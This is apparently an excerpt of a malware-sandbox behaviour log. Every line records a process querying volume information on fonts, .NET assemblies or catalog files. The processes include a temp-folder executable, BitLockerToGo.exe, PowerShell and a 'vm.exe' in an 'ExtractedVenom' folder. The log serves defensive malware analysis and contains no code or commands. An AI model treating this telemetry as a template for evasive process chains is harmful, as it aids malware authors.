Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Queries volume information: C:\Users\user\AppData\Local\Temp\BD9E.exe VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Queries volume information: C:\Users\user\AppData\Local\Temp\ExtractedVenom\data.bin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
